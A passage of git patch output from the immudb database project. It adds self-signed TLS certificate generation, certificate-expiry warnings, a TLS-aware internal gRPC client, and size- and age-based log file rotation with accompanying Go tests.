os.Remove("xxcert.pem") f, _ = os.Create("xxcert.pem") - fmt.Fprintf(f, cert) + fmt.Fprint(f, cert) f.Close() - _, err = setUpTLS("xxkey.pem", "xxcert.pem", "banana", true) + _, err = setUpTLS("xxkey.pem", "xxcert.pem", "banana", true, false) require.Error(t, err) } + +func TestSetUpTLSWithAutoHTTPS(t *testing.T) { + t.Run("use specified paths", func(t *testing.T) { + tempDir := t.TempDir() + + certFile := filepath.Join(tempDir, "immudb.cert") + keyFile := filepath.Join(tempDir, "immudb.key") + + tlsConfig, err := setUpTLS(certFile, keyFile, "", false, false) + require.Error(t, err) + require.Nil(t, tlsConfig) + + tlsConfig, err = setUpTLS(certFile, keyFile, "", false, true) + require.NoError(t, err) + require.NotNil(t, tlsConfig) + + require.FileExists(t, certFile) + require.FileExists(t, keyFile) + + tlsConfig, err = setUpTLS(certFile, keyFile, "", false, false) + require.NoError(t, err) + require.NotNil(t, tlsConfig) + }) + + t.Run("use default paths", func(t *testing.T) { + certPath, keyPath, err := getCertAndKeyPath("", "", true) + require.NoError(t, err) + + defer func() { + os.RemoveAll(certPath) + os.Remove(keyPath) + }() + + tlsConfig, err := setUpTLS("", "", "", false, true) + require.NoError(t, err) + require.NotNil(t, tlsConfig) + + require.FileExists(t, certPath) + require.FileExists(t, keyPath) + }) +} diff --git a/pkg/cert/cert.go b/pkg/cert/cert.go new file mode 100644 index 0000000000..7a1693392c --- /dev/null +++ b/pkg/cert/cert.go @@ -0,0 +1,119 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package cert + +import ( + "crypto/rand" + "crypto/rsa" + "crypto/x509" + "crypto/x509/pkix" + "encoding/pem" + "fmt" + "math/big" + "net" + "os" + "path" + "time" +) + +func GenerateSelfSignedCert(certPath, keyPath string, org string, expiration time.Duration) error { + priv, err := rsa.GenerateKey(rand.Reader, 2048) + if err != nil { + return fmt.Errorf("failed to generate RSA key: %w", err) + } + + notBefore := time.Now() + notAfter := notBefore.Add(expiration) + + serialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128)) + if err != nil { + return fmt.Errorf("failed to generate serial number: %w", err) + } + + hostname, err := os.Hostname() + if err != nil { + return err + } + + ips, err := listIPs() + if err != nil { + return err + } + ips = append(ips, net.ParseIP("0.0.0.0")) + + issuerOrSubject := pkix.Name{ + Organization: []string{org}, + } + + template := x509.Certificate{ + Issuer: issuerOrSubject, + SerialNumber: serialNumber, + Subject: issuerOrSubject, + DNSNames: []string{"localhost", hostname}, + NotBefore: notBefore, + NotAfter: notAfter, + IPAddresses: ips, + KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + } + + certBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) + if err != nil { + return fmt.Errorf("failed to create certificate: %w", err) + } + + if err := os.MkdirAll(path.Dir(certPath), 0755); err != nil { + return err + } + + certBytesPem := encodePEM(certBytes, "CERTIFICATE") + if err := os.WriteFile(certPath, certBytesPem, 0644); err != nil { + return fmt.Errorf("failed to write cert file: %w", err) + } + + privBytes := x509.MarshalPKCS1PrivateKey(priv) + privBytesPem := encodePEM(privBytes, "PRIVATE KEY") + + if err := os.WriteFile(keyPath, privBytesPem, 0600); err != nil { + return fmt.Errorf("failed to write key file: %w", err) + } + return nil +} + +func encodePEM(data []byte, blockType string) []byte { + block := &pem.Block{ + Type: blockType, + Bytes: data, + } + return pem.EncodeToMemory(block) +} + +func listIPs() ([]net.IP, error) { + addresses, err := net.InterfaceAddrs() + if err != nil { + return nil, err + } + + ips := make([]net.IP, 0, len(addresses)) + for _, addr := range addresses { + ipNet, ok := addr.(*net.IPNet) + if ok { + ips = append(ips, ipNet.IP) + } + } + return ips, nil +} diff --git a/pkg/server/corruption_checker_test.go b/pkg/server/corruption_checker_test.go index d550de10d0..91f1b2f667 100644 --- a/pkg/server/corruption_checker_test.go +++ b/pkg/server/corruption_checker_test.go @@ -16,6 +16,8 @@ limitations under the License. package server +import "fmt" + /* import ( "testing" @@ -377,18 +379,33 @@ func makeDB(dir string) *badger.DB { */ -type mockLogger struct{} +type mockLogger struct { + lines []string +} -func (l *mockLogger) Errorf(f string, v ...interface{}) {} +func (l *mockLogger) Errorf(f string, v ...interface{}) { + l.log("ERROR", f, v...) +} -func (l *mockLogger) Warningf(f string, v ...interface{}) {} +func (l *mockLogger) Warningf(f string, v ...interface{}) { + l.log("WARN", f, v...) +} -func (l *mockLogger) Infof(f string, v ...interface{}) {} +func (l *mockLogger) Infof(f string, v ...interface{}) { + l.log("INFO", f, v...) +} -func (l *mockLogger) Debugf(f string, v ...interface{}) {} +func (l *mockLogger) Debugf(f string, v ...interface{}) { + l.log("DEBUG", f, v...) +} func (l *mockLogger) Close() error { return nil } +func (l *mockLogger) log(level, f string, v ...interface{}) { + line := level + ": " + fmt.Sprintf(f, v...) + l.lines = append(l.lines, line) +} + /* func TestCryptoRandSource_Seed(t *testing.T) { cs := newCryptoRandSource() diff --git a/pkg/server/options.go b/pkg/server/options.go index 118d7c324c..aba34cdb1b 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -45,6 +45,7 @@ type Options struct { Config string Pidfile string Logfile string + AutoCert bool TLSConfig *tls.Config auth bool MaxRecvMsgSize int @@ -119,6 +120,7 @@ func DefaultOptions() *Options { Config: "configs/immudb.toml", Pidfile: "", Logfile: "", + AutoCert: false, TLSConfig: nil, auth: true, MaxRecvMsgSize: 1024 * 1024 * 32, // 32Mb diff --git a/pkg/server/server.go b/pkg/server/server.go index c183b26a86..c9c4cf04e5 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -18,6 +18,7 @@ package server import ( "context" + "crypto/x509" "fmt" "io/ioutil" "log" @@ -93,6 +94,9 @@ func (s *ImmuServer) Initialize() error { s.Logger.Infof("\n%s\n%s\n%s\n\n", immudbTextLogo, version.VersionStr(), s.Options) } + // Alert the user to certificates that are either expired or approaching expiration + s.checkTLSCerts() + if s.Options.GetMaintenance() && s.Options.GetAuth() { return ErrAuthMustBeDisabled } @@ -272,6 +276,32 @@ func (s *ImmuServer) Initialize() error { return err } +func (s *ImmuServer) checkTLSCerts() { + if s.Options.TLSConfig == nil { + return + } + + now := time.Now() + for _, cert := range s.Options.TLSConfig.Certificates { + if len(cert.Certificate) == 0 { + s.Logger.Errorf("tls config contains an invalid certificate") + continue + } + + x509Cert, err := x509.ParseCertificate(cert.Certificate[0]) + if err != nil { + s.Logger.Errorf("could not parse certificate: %s", err) + continue + } + + if now.Before(x509Cert.NotBefore) || now.After(x509Cert.NotAfter) { + s.Logger.Warningf("certificate with serial number %s is expired", x509Cert.SerialNumber.String()) + } else if !now.Before(x509Cert.NotAfter.Add(-30 * 24 * time.Hour)) { + s.Logger.Warningf("certificate with serial number %s is about to expire: %s left", x509Cert.SerialNumber.String(), x509Cert.NotAfter.Sub(now).String()) + } + } +} + // Start starts the immudb server // Loads and starts the System DB, default db and user db func (s *ImmuServer) Start() (err error) { diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 0233d87870..152c10ca11 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -19,6 +19,7 @@ package server import ( "bytes" "context" + "crypto/tls" "errors" "fmt" "io/ioutil" @@ -30,6 +31,7 @@ import ( "time" "github.com/codenotary/immudb/cmd/version" + "github.com/codenotary/immudb/pkg/cert" "github.com/codenotary/immudb/pkg/fs" "github.com/codenotary/immudb/pkg/stream" "golang.org/x/crypto/bcrypt" @@ -2121,3 +2123,54 @@ func TestServerDatabaseTruncate(t *testing.T) { _, err = s.CloseSession(ctx, &emptypb.Empty{}) require.NoError(t, err) } + +func TestUserIsAlertedToExpiredCerts(t *testing.T) { + dir := t.TempDir() + + certsPath := filepath.Join(dir, "certs") + + expCert := makeCert(t, certsPath, "expired", 0) + nearExpCert := makeCert(t, certsPath, "nearly-expired", 15*24*time.Hour) + validCert := makeCert(t, certsPath, "valid", 36*24*time.Hour) + + tlsConfig := &tls.Config{ + Certificates: []tls.Certificate{ + expCert, + nearExpCert, + validCert, + {}, + {Certificate: [][]byte{{1, 2, 3}}}, + }, + } + + opts := DefaultOptions(). + WithDir(dir). + WithTLS(tlsConfig) + + s, stop := testServer(opts) + defer stop() + + mockLogger := &mockLogger{} + s.WithLogger(mockLogger) + + s.checkTLSCerts() + + require.GreaterOrEqual(t, len(mockLogger.lines), 4) + require.Contains(t, mockLogger.lines[0], "is expired") + require.Contains(t, mockLogger.lines[1], "is about to expire") + require.Contains(t, mockLogger.lines[2], "tls config contains an invalid certificate") + require.Contains(t, mockLogger.lines[3], "could not parse certificate") +} + +func makeCert(t *testing.T, dir, suffix string, expiration time.Duration) tls.Certificate { + certFile := filepath.Join(dir, fmt.Sprintf("immudb-%s.cert", suffix)) + keyFile := filepath.Join(dir, fmt.Sprintf("immudb-%s.key", suffix)) + + err := cert.GenerateSelfSignedCert(certFile, keyFile, "immudb", expiration) + require.NoError(t, err) + + cert, err := tls.LoadX509KeyPair(certFile, keyFile) + require.NoError(t, err) + + return cert +} diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index aaba6d8c14..5ac4d5eb7d 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -29,12 +29,13 @@ import ( "github.com/codenotary/immudb/webconsole" "github.com/grpc-ecosystem/grpc-gateway/runtime" "google.golang.org/grpc" + "google.golang.org/grpc/credentials" "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/grpclog" ) func startWebServer(ctx context.Context, grpcAddr string, httpAddr string, tlsConfig *tls.Config, s *ImmuServer, l logger.Logger) (*http.Server, error) { - grpcClient, err := grpcClient(ctx, grpcAddr) + grpcClient, err := grpcClient(ctx, grpcAddr, tlsConfig) if err != nil { return nil, err } @@ -105,8 +106,15 @@ func startWebServer(ctx context.Context, grpcAddr string, httpAddr string, tlsCo return httpServer, nil } -func grpcClient(ctx context.Context, grpcAddr string) (conn *grpc.ClientConn, err error) { - conn, err = grpc.Dial(grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials())) +func grpcClient(ctx context.Context, grpcAddr string, tlsConfig *tls.Config) (conn *grpc.ClientConn, err error) { + var creds credentials.TransportCredentials + if tlsConfig != nil { + creds = credentials.NewTLS(&tls.Config{RootCAs: tlsConfig.RootCAs}) + } else { + creds = insecure.NewCredentials() + } + + conn, err = grpc.Dial(grpcAddr, grpc.WithTransportCredentials(creds)) if err != nil { return conn, err } @@ -124,6 +132,5 @@ func grpcClient(ctx context.Context, grpcAddr string) (conn *grpc.ClientConn, er } }() }() - return conn, nil } From 1e783881b55f0de532f85f2154936a88a56f0d50 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Tue, 10 Sep 2024 10:34:46 +0200 Subject: [PATCH 1050/1062] chore(embedded/logging): improve file base logging. - Implement size and age based log rotation - Add a flag to enable lof of accesses Signed-off-by: Stefano Scafiti --- cmd/immudb/command/cmd_test.go | 4 +- cmd/immudb/command/init.go | 10 +- cmd/immudb/command/parse_options.go | 9 + cmd/immudb/command/root.go | 14 +- embedded/logger/file.go | 8 +- embedded/logger/json.go | 53 +--- embedded/logger/log_file_writer.go | 184 +++++++++++++ embedded/logger/log_file_writer_test.go | 285 +++++++++++++++++++++ embedded/logger/logger.go | 41 ++- embedded/logger/logger_test.go | 31 +-- embedded/logger/simple.go | 5 + pkg/integration/client_test.go | 3 +- pkg/server/access_log_interceptor.go | 48 ++++ pkg/server/access_log_interceptor_test.go | 68 +++++ pkg/server/corruption_checker_test.go | 8 +- pkg/server/options.go | 32 ++- pkg/server/request_metadata_interceptor.go | 2 +- pkg/server/server.go | 5 +- pkg/server/server_test.go | 12 +- pkg/server/types.go | 8 +- 20 files changed, 730 insertions(+), 100 deletions(-) create mode 100644 embedded/logger/log_file_writer.go create mode 100644 embedded/logger/log_file_writer_test.go create mode 100644 pkg/server/access_log_interceptor.go create mode 100644 pkg/server/access_log_interceptor_test.go diff --git a/cmd/immudb/command/cmd_test.go b/cmd/immudb/command/cmd_test.go index d945cdf889..2354dbae65 100644 --- a/cmd/immudb/command/cmd_test.go +++ b/cmd/immudb/command/cmd_test.go @@ -18,7 +18,6 @@ package immudb import ( "bytes" - "path/filepath" "testing" "github.com/stretchr/testify/require" @@ -228,7 +227,8 @@ func TestImmudbLogFile(t *testing.T) { cmd.Flags().StringVar(&config, "config", "", "test") setupDefaults(server.DefaultOptions()) - viper.Set("logfile", filepath.Join(t.TempDir(), "override")) + viper.Set("dir", t.TempDir()) + viper.Set("logfile", "override") cl := Commandline{} diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 32726117a5..92f58c46f9 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -48,8 +48,12 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.PersistentFlags().StringVar(&cl.config.CfgFn, "config", "", "config file (default path are configs or $HOME. Default filename is immudb.toml)") cmd.Flags().String("pidfile", options.Pidfile, "pid path with filename e.g. /var/run/immudb.pid") - cmd.Flags().String("logfile", options.Logfile, "log path with filename e.g. /tmp/immudb/immudb.log") + cmd.Flags().String("logdir", options.LogDir, "log path base dir /tmp/immudb/immulog") + cmd.Flags().String("logfile", options.Logfile, "filename e.g. immudb.log") cmd.Flags().String("logformat", options.LogFormat, "log format e.g. text/json") + cmd.Flags().Int("log-rotation-size", options.LogRotationSize, "maximum size a log segment can reach before being rotated") + cmd.Flags().Duration("log-rotation-age", options.LogRotationAge, "maximum duration (age) of a log segment before it is rotated") + cmd.Flags().Bool("log-access", options.LogAccess, "log incoming requests information (username, IP, etc...)") cmd.Flags().BoolP("mtls", "m", false, "enable mutual tls") cmd.Flags().BoolP("auth", "s", false, "enable auth") cmd.Flags().Int("max-recv-msg-size", options.MaxRecvMsgSize, "max message size in bytes the server can receive") @@ -118,6 +122,10 @@ func setupDefaults(options *server.Options) { viper.SetDefault("replica", false) viper.SetDefault("pidfile", options.Pidfile) viper.SetDefault("logfile", options.Logfile) + viper.SetDefault("logdir", options.LogDir) + viper.SetDefault("log-rotation-size", options.LogRotationSize) + viper.SetDefault("log-rotation-age", options.LogRotationAge) + viper.SetDefault("log-access", options.LogAccess) viper.SetDefault("mtls", false) viper.SetDefault("auth", options.GetAuth()) viper.SetDefault("max-recv-msg-size", options.MaxRecvMsgSize) diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 54fec1195a..63b6935ea0 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -51,7 +51,12 @@ func parseOptions() (options *server.Options, err error) { } pidfile := viper.GetString("pidfile") + + logdir := viper.GetString("logdir") logfile := viper.GetString("logfile") + logRotationSize := viper.GetInt("log-rotation-size") + logRotationAge := viper.GetDuration("log-rotation-age") + logAccess := viper.GetBool("log-access") logFormat := viper.GetString("logformat") mtls := viper.GetBool("mtls") @@ -131,7 +136,11 @@ func parseOptions() (options *server.Options, err error) { WithAddress(address). WithReplicationOptions(replicationOptions). WithPidfile(pidfile). + WithLogDir(logdir). WithLogfile(logfile). + WithLogRotationSize(logRotationSize). + WithLogRotationAge(logRotationAge). + WithLogAccess(logAccess). WithTLS(tlsConfig). WithAuth(auth). WithMaxRecvMsgSize(maxRecvMsgSize). diff --git a/cmd/immudb/command/root.go b/cmd/immudb/command/root.go index 3063e5ba1c..f4f6d883c7 100644 --- a/cmd/immudb/command/root.go +++ b/cmd/immudb/command/root.go @@ -17,6 +17,8 @@ limitations under the License. package immudb import ( + "path/filepath" + c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" @@ -68,10 +70,14 @@ func (cl *Commandline) Immudb(immudbServer server.ImmuServerIf) func(*cobra.Comm // initialize logger for immudb ilogger, err := logger.NewLogger(&logger.Options{ - Name: "immudb", - LogFormat: options.LogFormat, - LogFile: options.Logfile, - Level: logger.LogLevelFromEnvironment(), + Name: "immudb", + LogFormat: options.LogFormat, + LogDir: filepath.Join(options.Dir, options.LogDir), + LogFile: options.Logfile, + LogRotationSize: options.LogRotationSize, + LogRotationAge: options.LogRotationAge, + LogFileTimeFormat: logger.LogFileFormat, + Level: logger.LogLevelFromEnvironment(), }) if err != nil { c.QuitToStdErr(err) diff --git a/embedded/logger/file.go b/embedded/logger/file.go index 6cf7ec69b7..0b66e24e43 100644 --- a/embedded/logger/file.go +++ b/embedded/logger/file.go @@ -23,14 +23,14 @@ import ( "path/filepath" ) -// FileLogger ... +// Deprecated: FileLogger is deprecated and will be removed in a future release. type FileLogger struct { Logger *log.Logger LogLevel LogLevel out *os.File } -// NewFileLogger ... +// Deprecated: use method NewLogger instead. func NewFileLogger(name string, file string) (logger Logger, out *os.File, err error) { out, err = setup(file) if err != nil { @@ -60,12 +60,12 @@ func NewFileLoggerWithLevel(name string, file string, level LogLevel) (logger Lo func setup(file string) (out *os.File, err error) { if _, err = os.Stat(filepath.Dir(file)); os.IsNotExist(err) { if err = os.Mkdir(filepath.Dir(file), os.FileMode(0755)); err != nil { - return nil, errors.New("Unable to create log folder") + return nil, errors.New("unable to create log folder") } } out, err = os.OpenFile(file, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666) if err != nil { - return out, errors.New("Unable to create log file") + return out, errors.New("unable to create log file") } return out, err } diff --git a/embedded/logger/json.go b/embedded/logger/json.go index 1b4b27951c..525bbcffe6 100644 --- a/embedded/logger/json.go +++ b/embedded/logger/json.go @@ -17,7 +17,6 @@ limitations under the License. package logger import ( - "bytes" "encoding" "encoding/json" "fmt" @@ -61,7 +60,7 @@ type JsonLogger struct { timeFnc TimeFunc mutex sync.Mutex - writer *writer + writer io.Writer level int32 } @@ -77,19 +76,11 @@ func NewJSONLogger(opts *Options) (*JsonLogger, error) { output = defaultOutput } - if opts.LogFile != "" { - out, err := setup(opts.LogFile) - if err != nil { - return nil, err - } - output = out - } - l := &JsonLogger{ name: opts.Name, timeFormat: DefaultTimeFormat, timeFnc: time.Now, - writer: newWriter(output), + writer: output, } if opts.TimeFnc != nil { @@ -121,14 +112,12 @@ func (l *JsonLogger) log(name string, level LogLevel, msg string, args ...interf t := l.timeFnc() l.logJSON(t, name, level, msg, args...) - - l.writer.Flush() } func (l *JsonLogger) logJSON(t time.Time, name string, level LogLevel, msg string, args ...interface{}) { vals := l.getVals(t, name, level, msg) - if args != nil && len(args) > 0 { + if len(args) > 0 { for i := 0; i < len(args); i = i + 2 { val := args[i+1] switch sv := val.(type) { @@ -243,38 +232,8 @@ func (i *JsonLogger) Name() string { // Close the logger func (i *JsonLogger) Close() error { - return i.writer.Close() -} - -type writer struct { - b bytes.Buffer - out io.Writer -} - -func newWriter(w io.Writer) *writer { - return &writer{out: w} -} - -func (w *writer) Flush() (err error) { - var unwritten = w.b.Bytes() - _, err = w.out.Write(unwritten) - w.b.Reset() - return err -} - -func (w *writer) Write(p []byte) (int, error) { - return w.b.Write(p) -} - -func (w *writer) Close() error { - switch t := w.out.(type) { - case *os.File: - err := w.Flush() - if err != nil { - return err - } - return t.Close() - default: - return w.Flush() + if wc, ok := i.writer.(io.Closer); ok { + return wc.Close() } + return nil } diff --git a/embedded/logger/log_file_writer.go b/embedded/logger/log_file_writer.go new file mode 100644 index 0000000000..4e6e06802d --- /dev/null +++ b/embedded/logger/log_file_writer.go @@ -0,0 +1,184 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package logger + +import ( + "errors" + "fmt" + "io" + "os" + "path/filepath" + "strings" + "time" +) + +func createLogFileWriter(opts *Options) (io.Writer, error) { + if opts.LogDir != "" { + if err := os.MkdirAll(opts.LogDir, os.ModePerm); err != nil && !errors.Is(err, os.ErrExist) { + return nil, err + } + } + + if opts.LogRotationAge > 0 && opts.LogRotationAge < logRotationAgeMin { + return nil, fmt.Errorf("log rotation age must be greater than %s", logRotationAgeMin.String()) + } + + timeFunc := opts.TimeFnc + if timeFunc == nil { + timeFunc = func() time.Time { + return time.Now() + } + } + + lf := &logFileWriter{ + timeFunc: timeFunc, + timeFormat: opts.LogFileTimeFormat, + dir: opts.LogDir, + fileName: opts.LogFile, + rotationSize: opts.LogRotationSize, + rotationAge: opts.LogRotationAge, + currSegmentSize: 0, + } + err := lf.rotate(lf.currAge()) + return lf, err +} + +var _ io.Closer = (*logFileWriter)(nil) + +type logFileWriter struct { + currSegment *os.File + + timeFunc TimeFunc + timeFormat string + + dir string + fileName string + + rotationSize int + rotationAge time.Duration + + currentSegmentAgeNum int64 + currSegmentSize int + nextSeqNum int +} + +func (bf *logFileWriter) Write(buf []byte) (int, error) { + age := bf.currAge() + if bf.shouldRotate(len(buf), age) { + if err := bf.rotate(age); err != nil { + return -1, err + } + } + + n, err := bf.currSegment.Write(buf) + if err == nil { + bf.currSegmentSize += len(buf) + } + return n, err +} + +func (bf *logFileWriter) shouldRotate(nBytes int, ageNum int64) bool { + if bf.rotationAge == 0 && bf.rotationSize == 0 { + return false + } + + if bf.rotationSize > 0 && bf.currSegmentSize+int(nBytes) > bf.rotationSize { + return true + } + + if bf.rotationAge > 0 && int64(ageNum) > bf.currentSegmentAgeNum { + return true + } + return false +} + +func (bf *logFileWriter) rotate(age int64) error { + if err := bf.Close(); err != nil { + return err + } + + bf.currSegmentSize = 0 + if bf.rotationAge > 0 { + bf.currentSegmentAgeNum = age + } + + name, err := bf.getNextSegmentName() + if err != nil { + return err + } + + logFile, err := os.Create(name) + if err != nil { + return err + } + + bf.currSegment = logFile + return nil +} + +func (bf *logFileWriter) getNextSegmentName() (string, error) { + num := bf.nextSeqNum + name := bf.segmentName() + _, err := os.Stat(name) + for err == nil { + num++ + _, err = os.Stat(fmt.Sprintf("%s.%04d", name, num)) + } + if !errors.Is(err, os.ErrNotExist) { + return "", err + } + + // NOTE: Without specifying a time format, the same file names will be generated during each rotation. + if bf.timeFormat == "" { + bf.nextSeqNum = num + } + + if num > 0 { + return fmt.Sprintf("%s.%04d", name, num), nil + } + return name, nil +} + +func (bf *logFileWriter) segmentName() string { + if bf.timeFormat == "" || bf.rotationAge == 0 { + return filepath.Join(bf.dir, bf.fileName) + } + + ext := filepath.Ext(bf.fileName) + t := time.Unix(0, bf.currentSegmentAgeNum*bf.rotationAge.Nanoseconds()) + + name := fmt.Sprintf("%s_%s%s", strings.TrimSuffix(bf.fileName, ext), t.Format(bf.timeFormat), ext) + return filepath.Join(bf.dir, name) +} + +func (bf *logFileWriter) currAge() int64 { + if bf.rotationAge == 0 { + return 0 + } + return bf.timeFunc().UnixNano() / bf.rotationAge.Nanoseconds() +} + +func (bf *logFileWriter) Close() error { + if bf.currSegment == nil { + return nil + } + + if err := bf.currSegment.Sync(); err != nil { + return err + } + return bf.currSegment.Close() +} diff --git a/embedded/logger/log_file_writer_test.go b/embedded/logger/log_file_writer_test.go new file mode 100644 index 0000000000..274499f955 --- /dev/null +++ b/embedded/logger/log_file_writer_test.go @@ -0,0 +1,285 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package logger + +import ( + "bufio" + "fmt" + "os" + "path" + "path/filepath" + "sort" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func TestLogFileIsRotatedOnInit(t *testing.T) { + tempDir := t.TempDir() + + today := time.Now().Truncate(time.Hour * 24) + + opts := &Options{ + Name: "immudb", + LogFormat: LogFormatJSON, + Level: LogDebug, + LogDir: tempDir, + LogFile: "immudb.log", + TimeFormat: LogFileFormat, + TimeFnc: func() time.Time { + return today + }, + } + + logger, err := NewLogger(opts) + require.NoError(t, err) + + files, err := readFiles(tempDir, "immudb") + require.NoError(t, err) + require.Len(t, files, 1) + require.Equal(t, "immudb.log", files[0]) + + err = logger.Close() + require.NoError(t, err) + + logger, err = NewLogger(opts) + require.NoError(t, err) + defer logger.Close() + + files, err = readFiles(tempDir, "immudb") + require.NoError(t, err) + require.Len(t, files, 2) + require.Equal(t, []string{"immudb.log", "immudb.log.0001"}, files) +} + +type mockWriter struct { + nBytes int + nCalls int +} + +func (w *mockWriter) Write(buf []byte) (int, error) { + w.nBytes += len(buf) + w.nCalls++ + return len(buf), nil +} + +func TestLogAreSentToOutput(t *testing.T) { + mw := &mockWriter{} + + logger, err := NewLogger(&Options{ + Name: "immudb", + LogFormat: LogFormatJSON, + Output: mw, + Level: LogDebug, + }) + require.NoError(t, err) + defer logger.Close() + + nLogs := 100 + for i := 0; i < nLogs; i++ { + logger.Errorf("test log %d", i) + } + require.Equal(t, mw.nCalls, nLogs) +} + +func TestLoggerFileWithRotationDisabled(t *testing.T) { + tempDir := t.TempDir() + + logger, err := NewLogger(&Options{ + Name: "immudb", + LogFormat: LogFormatJSON, + Level: LogDebug, + LogDir: tempDir, + LogFile: "immudb.log", + TimeFnc: func() time.Time { + return time.Now() + }, + }) + require.NoError(t, err) + defer logger.Close() + + nLogs := 100 + for i := 0; i < nLogs; i++ { + logger.Errorf("test log %d", i) + } + + err = logger.Close() + require.NoError(t, err) + + entries, err := os.ReadDir(tempDir) + require.NoError(t, err) + require.Len(t, entries, 1) + require.Equal(t, "immudb.log", entries[0].Name()) + + f, err := os.Open(filepath.Join(tempDir, "immudb.log")) + require.NoError(t, err) + + sc := bufio.NewScanner(f) + for sc.Scan() { + require.Contains(t, sc.Text(), "test log") + } + require.NoError(t, sc.Err()) +} + +func TestLoggerFileAgeRotation(t *testing.T) { + tempDir := t.TempDir() + + age := time.Hour * 24 + i := 0 + now := time.Now().Truncate(age) + + logger, err := NewLogger(&Options{ + Name: "immudb", + LogFormat: LogFormatText, + Level: LogDebug, + LogDir: tempDir, + LogFile: "immudb.log", + LogRotationSize: 1024 * 1024, + LogRotationAge: time.Hour * 24, + TimeFnc: func() time.Time { + t := now.Add(age * time.Duration(i)) + i++ + return t + }, + }) + require.NoError(t, err) + defer logger.Close() + + nLogs := 100 + for i := 0; i < nLogs; i++ { + logger.Errorf("this is a test") + } + require.Equal(t, nLogs+1, i) + + entries, err := os.ReadDir(tempDir) + require.NoError(t, err) + require.Len(t, entries, nLogs+1) + + files, err := readFiles(tempDir, "immudb.log") + require.NoError(t, err) + require.Len(t, files, nLogs+1) + + require.Equal(t, files[0], "immudb.log") + for i := 1; i < len(files); i++ { + require.Equal(t, fmt.Sprintf("immudb.log.%04d", i), files[i]) + } +} + +func TestLoggerFileAgeRotationWithTimeFormat(t *testing.T) { + tempDir := t.TempDir() + + age := time.Hour * 24 + i := 0 + now := time.Now().Truncate(age) + + logger, err := NewLogger(&Options{ + Name: "immudb", + LogFormat: LogFormatText, + LogFileTimeFormat: LogFileFormat, + Level: LogDebug, + LogDir: tempDir, + LogFile: "immudb.log", + LogRotationSize: 1024 * 1024, + LogRotationAge: time.Hour * 24, + TimeFnc: func() time.Time { + t := now.Add(age * time.Duration(i)) + i++ + return t + }, + }) + require.NoError(t, err) + defer logger.Close() + + nLogs := 100 + for i := 0; i < nLogs; i++ { + logger.Errorf("this is a test") + } + require.Equal(t, nLogs+1, i) + + files, err := readFiles(tempDir, "immudb") + require.NoError(t, err) + require.Len(t, files, nLogs+1) + + for n, f := range files { + name := strings.TrimSuffix(f, path.Ext(f)) + idx := strings.LastIndex(name, "_") + require.GreaterOrEqual(t, idx, 0) + + segmentAge := name[idx+1:] + ageTime, err := time.Parse(LogFileFormat, segmentAge) + require.NoError(t, err) + require.Equal(t, ageTime.UTC(), now.Add(age*time.Duration(n)).UTC()) + } +} + +func TestLoggerFileSizeRotation(t *testing.T) { + tempDir := t.TempDir() + + logger, err := NewLogger(&Options{ + Name: "immudb", + LogFormat: LogFormatText, + Level: LogDebug, + LogDir: tempDir, + LogFile: "immudb.log", + LogRotationSize: 100, + LogRotationAge: time.Hour * 24, + }) + require.NoError(t, err) + + nLogs := 100 + for i := 0; i < nLogs; i++ { + logger.Errorf("this is a test") + } + + err = logger.Close() + require.NoError(t, err) + + files, err := readFiles(tempDir, "immudb.log") + require.NoError(t, err) + require.NotEmpty(t, files) + + for _, fname := range files { + finfo, err := os.Stat(filepath.Join(tempDir, fname)) + require.NoError(t, err) + require.LessOrEqual(t, finfo.Size(), int64(100)) + } +} + +func readFiles(dir, prefix string) ([]string, error) { + entries, err := os.ReadDir(dir) + if err != nil { + return nil, err + } + + files := make([]string, 0) + for _, e := range entries { + if e.IsDir() { + continue + } + + if strings.HasPrefix(e.Name(), prefix) { + files = append(files, e.Name()) + } + } + + sort.Slice(files, func(i, j int) bool { + return files[i] < files[j] + }) + return files, nil +} diff --git a/embedded/logger/logger.go b/embedded/logger/logger.go index 